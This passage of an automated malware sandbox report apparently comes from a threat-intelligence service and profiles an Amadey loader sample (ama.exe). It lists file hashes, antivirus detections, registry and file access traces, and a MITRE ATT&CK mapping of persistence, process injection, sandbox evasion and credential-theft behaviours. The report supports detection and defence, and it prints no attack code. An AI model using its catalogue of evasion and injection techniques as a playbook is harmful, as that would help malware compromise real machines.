(Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "Utsysc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "Utsysc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "")3c:T7ff,"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "C:\Users\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "Utsysc.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "Utsysc.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "Utsysc.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "Utsysc.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "Utsysc.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "Utsysc.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "Utsysc.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini"3d:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAiIiIiO6IZ4iHiHAAAAAAAIiIh3fu6IiIh4hwAAAAAAB3iHd+7oiIiIeIcAAAAAAAB3d3d3d4iIiHd3AAAAAAAAd4d3d3d3iIiIhwAAAAAAAHiId2ZniIiHd4AAAAAAAAB4iHd+53iIiIeAAAAAAAAAeId4ju6IiIiIhwAAAAAAAIiHd4d4iIiIeHcAAAAAAAh3iHeId3eIiHiHAAAAAAAHd3h2eHiGd4h4hwAAAAAAB3d3d2eId2eIeIcAAAAAAAd3d3d3h3d3d3iAAAAAAAAHeHd3eIiGZoh3gAAAAAAAB4iId4iIiI6Ih3AAAAAAAAiIiHeP+IiHiIdwAAAAAAAIiIiH+PiIiIh3ZgAAAAAACIiIiIiIiIeIZmQAAAAAAAeId+eIiIN3eIZmAAAAAAAOh3jniIiHd4iGRgAAAAAADoh454iIiHd45kQAAAAAAAiHd+iIiIZmbuZkAAAAAAAIh27oiIiIZmZmZAAAAAAACIhuiIiIiIZmZmQAAAAAAAiH7oiI53h2ZmZEAAAAAAAIjuaIjuZ4ZmZEQAAAAAAACI7miI7mZ2ZmRmAAAAAAAAiO5oh+d25mZmZgAAAAAAAIjmaIh3d3d3ZmAAAAAAAACIhmeIiId3d3AAAAAAAAAAiIdueIiHVAAAAAAAAAAAAAd3Zmh3AAAAAAAAAAD8AAAf/AAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfgAAAH/wAAB/8AAAf/AAAH/wAAB/8AAAf/AAAH/wAAB/8AAAf/AAAH/wAAB/8AAAf/AAAH/wAAB/8AAAf/AAAH/wAAB/8AAAf/AAAH/wAAf/8AA///gD//w==3e:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAiIiIiO6IZ4iHiHAAAAAAAIiIh3fu6IiIh4hwAAAAAAB3iHd+7oiIiIeIcAAAAAAAB3d3d3d4iIiHd3AAAAAAAAd4d3d3d3iIiIhwAAAAAAAHiId2ZniIiHd4AAAAAAAAB4iHd+53iIiIeAAAAAAAAAeId4ju6IiIiIhwAAAAAAAIiHd4d4iIiIeHcAAAAAAAh3iHeId3eIiHiHAAAAAAAHd3h2eHiGd4h4hwAAAAAAB3d3d2eId2eIeIcAAAAAAAd3d3d3h3d3d3iAAAAAAAAHeHd3eIiGZoh3gAAAAAAAB4iId4iIiI6Ih3AAAAAAAAiIiHeP+IiHiIdwAAAAAAAIiIiH+PiIiIh3ZgAAAAAACIiIiIiIiIeIZmQAAAAAAAeId+eIiIN3eIZmAAAAAAAOh3jniIiHd4iGRgAAAAAADoh454iIiHd45kQAAAAAAAiHd+iIiIZmbuZkAAAAAAAIh27oiIiIZmZmZAAAAAAACIhuiIiIiIZmZmQAAAAAAAiH7oiI53h2ZmZEAAAAAAAIjuaIjuZ4ZmZEQAAAAAAACI7miI7mZ2ZmRmAAAAAAAAiO5oh+d25mZmZgAAAAAAAIjmaIh3d3d3ZmAAAAAAAACIhmeIiId3d3AAAAAAAAAAiIdueIiHVAAAAAAAAAAAAAd3Zmh3AAAAAAAAAAD8AAAf/AAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfgAAAH/wAAB/8AAAf/AAAH/wAAB/8AAAf/AAAH/wAAB/8AAAf/AAAH/wAAB/8AAAf/AAAH/wAAB/8AAAf/AAAH/wAAB/8AAAf/AAAH/wAAf/8AA///gD//w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791327162473,"unified_at":"2026-10-06T22:52:42.473Z","metadata":{"hashes":{"sha256":"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15","sha1":"b3f2f36ea7e1c25d01f87a85bc99b054cee61d0c","md5":"0d2d76945a575efb04566140058a4437","sha512":"07260a020c47c422f95b9e1e7a5a0ea9f5f24ff350bdbce24a5320058dea220c1432248c74e1da84e45a11dcee006271a831ac2ba64cf9eee4265d02ac8712e5","ssdeep":"196608:dpXmHaYl1PwFlnYt58Vz+KwwvQrx9vDj:/2HaYlxwFlYIcTwC7","ssdeep_chunks":["196608:dpXmHaY","196608:pXmHaYl","196608:XmHaYl1","196608:mHaYl1P","196608:HaYl1Pw","196608:aYl1PwF","196608:Yl1PwFl","196608:l1PwFln","196608:1PwFlnY","196608:PwFlnYt","196608:wFlnYt5","196608:FlnYt58","196608:lnYt58V","196608:nYt58Vz","196608:Yt58Vz+","196608:t58Vz+K","196608:58Vz+Kw","196608:8Vz+Kww","196608:Vz+Kwwv","196608:z+KwwvQ","196608:+KwwvQr","196608:KwwvQrx","196608:wwvQrx9","196608:wvQrx9v","196608:vQrx9vD","196608:Qrx9vDj","393216:dpXmHaY","393216:pXmHaYl","393216:XmHaYl1","393216:mHaYl1P","393216:HaYl1Pw","393216:aYl1PwF","393216:Yl1PwFl","393216:l1PwFln","393216:1PwFlnY","393216:PwFlnYt","393216:wFlnYt5","393216:FlnYt58","393216:lnYt58V","393216:nYt58Vz","393216:Yt58Vz+","393216:t58Vz+K","393216:58Vz+Kw","393216:8Vz+Kww","393216:Vz+Kwwv","393216:z+KwwvQ","393216:+KwwvQr","393216:KwwvQrx","393216:wwvQrx9","393216:wvQrx9v","393216:vQrx9vD","393216:Qrx9vDj","196608:/2HaYlx","196608:2HaYlxw","196608:HaYlxwF","196608:aYlxwFl","196608:YlxwFlY","196608:lxwFlYI","196608:xwFlYIc","196608:wFlYIcT","196608:FlYIcTw","196608:lYIcTwC","196608:YIcTwC7"],"imphash":"d90735248820f131558edc3dab2d3793"},"file_info":{"file_name":"ama.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":6645760,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1704332411000,"last_seen":1748780556000,"last_multi_scan":1748780556000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["amadeyloader","criminal","loader","downloader"]},"stats":{"av":{"malicious_count":15,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":59},"sandbox_signatures":{"informative_count":107,"suspicious_count":15,"malicious_count":7,"total":129},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Kryptik","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/AD.Nekark.lntua","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.GIYZ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.GIYZ (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.HIYJ trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 00582a4a1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Kryptik.kgmcvy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/ABRisk.MGWN-9381","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.UVB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TrojanDownloader.Deyma","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_39.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Kryptik.Win32.4503004","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Kryptik","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"malicious","value":"Calls an API typically used to execute an application"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Modifies user shell folders registry key"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"},{"type":"informative","value":"Contains CRYPTO related strings"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Rootkit","attack_id":"T1014","attack_id_wiki":"https://attack.mitre.org/techniques/T1014","identifiers":[{"type":"informative","value":"References device drivers used by rootkit malware"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"suspicious","value":"Possibly tries to evade analysis by sleeping many times"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file has unusual entropy resources"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to 